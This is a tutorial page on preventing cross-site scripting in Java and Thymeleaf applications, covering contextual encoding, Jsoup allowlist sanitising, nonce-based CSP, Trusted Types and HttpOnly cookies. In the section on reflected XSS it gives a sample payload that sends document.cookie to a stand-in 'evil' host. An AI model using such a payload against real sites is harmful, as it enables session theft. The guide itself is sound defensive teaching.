Skip to content
JavaAgentic

Type at least two characters. Try “RAG”, “pgvector” or “tool calling”.

XSS Prevention

Stopping cross-site scripting: the three XSS types, why encoding must be context-aware, Thymeleaf escaping, OWASP Java Encoder, nonce-based CSP and sanitising rich text.

Intermediate6 min readUpdated
On this page

XSS means an attacker's script running in your users' browsers with your origin's privileges — reading session cookies, making authenticated requests, rewriting the page. It persists because the fix depends on context, and one missed context is enough.

Key Takeaways

  • Three types: reflected, stored and DOM-based. The third never touches your server.
  • Encoding is context-specific — HTML body, attribute, JavaScript, CSS and URL all differ.
  • th:utext and innerHTML are the two constructs that turn data into markup.
  • Nonce-based CSP is the layer that saves you when encoding is missed.
  • Sanitise rich text with an allowlist, never a blocklist.

The three types

Reflected — input is echoed straight back in the response. A crafted link is the delivery mechanism: ?search=<script>fetch('https://evil/'+document.cookie)</script>.

Stored — the payload is saved and served to everyone who views it. A comment, a profile field, a product review. Far more damaging because it needs no per-victim delivery.

DOM-based — entirely client-side. JavaScript reads from location.hash or document.referrer and writes to innerHTML. Your server never sees the payload, so server-side encoding cannot help and server-side scanning cannot detect it.

Context decides the encoding

One encoder does not fit all contexts. HTML-encoding a value that lands inside a script block leaves it exploitable.
ContextualEncoding.java
// OWASP Java Encoder — one method per context.
String htmlBody   = Encode.forHtml(userInput);
String attribute  = Encode.forHtmlAttribute(userInput);
String javaScript = Encode.forJavaScript(userInput);
String cssString  = Encode.forCssString(userInput);
String urlParam   = Encode.forUriComponent(userInput);

The worst context is inside a <script> block, and the right answer is usually to avoid it entirely. Put data in an attribute and read it from JavaScript:

safe-data-passing.html
<!-- Data lives in an attribute, HTML-escaped by Thymeleaf. -->
<div id="config" th:data-username="${user.name}" th:data-tenant="${tenant.id}"></div>
 
<script>
  // Reading a data attribute is a string. It is never parsed as code.
  const username = document.getElementById('config').dataset.username;
</script>

Thymeleaf

templates.html
<!-- Escaped. Safe for HTML body context. -->
<p th:text="${comment.body}">placeholder</p>
 
<!-- NOT escaped. A vulnerability unless the value was sanitised. -->
<div th:utext="${comment.body}"></div>
 
<!-- Attributes are escaped by th:attr and th:* shortcuts. -->
<img th:src="@{/avatars/{id}(id=${user.id})}" th:alt="${user.name}">
 
<!-- URL context: th:href with the link syntax encodes parameters. -->
<a th:href="@{/search(q=${query})}">Results</a>

Grep your templates for th:utext and justify every occurrence. It is the single construct that turns data into markup, and each use should either be provably safe content or the output of a sanitiser.

Sanitising rich text

When users legitimately submit formatted content, encoding would show them the tags. Sanitise instead:

HtmlSanitizer.java
@Component
public class HtmlSanitizer {
 
    // Allowlist: keep what is permitted, drop everything else. A blocklist of
    // dangerous tags is defeated by encoding tricks and new constructs.
    private static final Safelist SAFELIST = Safelist.basic()
            .addTags("h2", "h3", "figure", "figcaption")
            .addAttributes("a", "href", "title")
            .addProtocols("a", "href", "http", "https", "mailto")   // no javascript:
            .addEnforcedAttribute("a", "rel", "nofollow noopener noreferrer")
            .addEnforcedAttribute("a", "target", "_blank");
 
    public String sanitize(String untrustedHtml) {
        if (untrustedHtml == null) return null;
        // Sanitise on INPUT, before storage. Sanitising only on output means
        // every future rendering path must remember to do it.
        return Jsoup.clean(untrustedHtml, "", SAFELIST,
                new Document.OutputSettings().prettyPrint(false));
    }
}

addProtocols is the line that blocks javascript: URLs, which is a classic bypass when only tags are filtered. addEnforcedAttribute adds rel="noopener" so links cannot manipulate the opener window.

Sanitise at the boundary and store the clean version. Sanitising only at render time means the dangerous content is in your database, and the next feature that displays it — an email, an export, an admin view — has to remember.

Content Security Policy

CspConfig.java
@Component
public class CspNonceFilter extends OncePerRequestFilter {
 
    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
                                    FilterChain chain) throws ServletException, IOException {
 
        // A fresh nonce per response. An attacker cannot predict it, so an
        // injected script tag has no valid nonce and will not execute.
        byte[] bytes = new byte[16];
        new SecureRandom().nextBytes(bytes);
        String nonce = Base64.getEncoder().encodeToString(bytes);
        request.setAttribute("cspNonce", nonce);
 
        response.setHeader("Content-Security-Policy", String.join("; ",
                "default-src 'self'",
                "script-src 'self' 'nonce-" + nonce + "' 'strict-dynamic'",
                "style-src 'self' 'nonce-" + nonce + "'",
                "img-src 'self' data: https://cdn.acme.com",
                "connect-src 'self'",
                "frame-ancestors 'none'",
                "base-uri 'self'",
                "form-action 'self'",
                "object-src 'none'",
                "report-uri /csp-report"));
 
        chain.doFilter(request, response);
    }
}
using the nonce
<script th:attr="nonce=${cspNonce}">
  // Only scripts carrying this response's nonce execute.
</script>

Two directives beyond script-src do real work. base-uri 'self' prevents an injected <base> tag redirecting every relative URL on the page. form-action 'self' stops an injected form posting credentials to an attacker's server.

Avoid unsafe-inline. It disables the protection entirely — and note that a nonce is ignored when unsafe-inline is present, so adding it "temporarily" silently switches CSP off.

Deploy with Content-Security-Policy-Report-Only first, collect violations for a week, fix the legitimate ones, then enforce.

DOM-based XSS

None of the server-side work above touches this class, because the payload never reaches your server. What makes it tractable is that both ends are enumerable. The sinks are the small set of APIs that parse a string as markup or code — innerHTML, outerHTML, document.write, insertAdjacentHTML, eval, and assigning to src or href from a variable. The sources are equally short: location.hash, location.search, document.referrer, postMessage payloads, and anything read back out of localStorage.

Trusted Types converts that audit from a code review habit into a browser-enforced rule:

response header
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default

With it in place, assigning a plain string to innerHTML throws instead of parsing, and the only way to produce markup is through a policy function you registered — which becomes the single place a sanitiser has to live, rather than every call site. Browser support is Chromium-only so far, so treat it as a strong additional layer where it applies rather than a reason to stop auditing the sinks.

Cookies

application.yml
server:
  servlet:
    session:
      cookie:
        # JavaScript cannot read this cookie, so an XSS cannot steal the session.
        http-only: true
        secure: true
        same-site: lax

HttpOnly does not prevent XSS, but it removes the most valuable prize. An attacker with script execution can still make authenticated requests as the user — they simply cannot exfiltrate the session for later use.

What to take away

Encode for the context the value lands in, and prefer data attributes over interpolating into script blocks. Audit every th:utext and innerHTML. Sanitise rich text with an allowlist at input time. Then deploy a nonce-based CSP with base-uri and form-action locked down, so a missed encoding becomes a blocked script rather than an account takeover.

Frequently Asked Questions

Does Thymeleaf protect me automatically?
th:text escapes for HTML body context, which covers the common case. It does not help inside a script block, a style attribute, or a URL — those need different encoding. And th:utext deliberately does not escape at all, so any use of it with user content is a vulnerability unless the content was sanitised first.
Is CSP a replacement for encoding?
No, it is a second layer. Encoding stops the injection; CSP limits the damage when encoding is missed somewhere. A strict nonce-based CSP means an injected script tag will not execute even though it reached the page, which converts a critical vulnerability into a blocked console error.
How do I allow users to submit formatted text safely?
Sanitise with an allowlist rather than trying to block dangerous constructs. Jsoup with a Safelist keeps the tags and attributes you permit and removes everything else, including event handlers and javascript: URLs. Blocklists are defeated by encoding tricks every time.

Related tutorials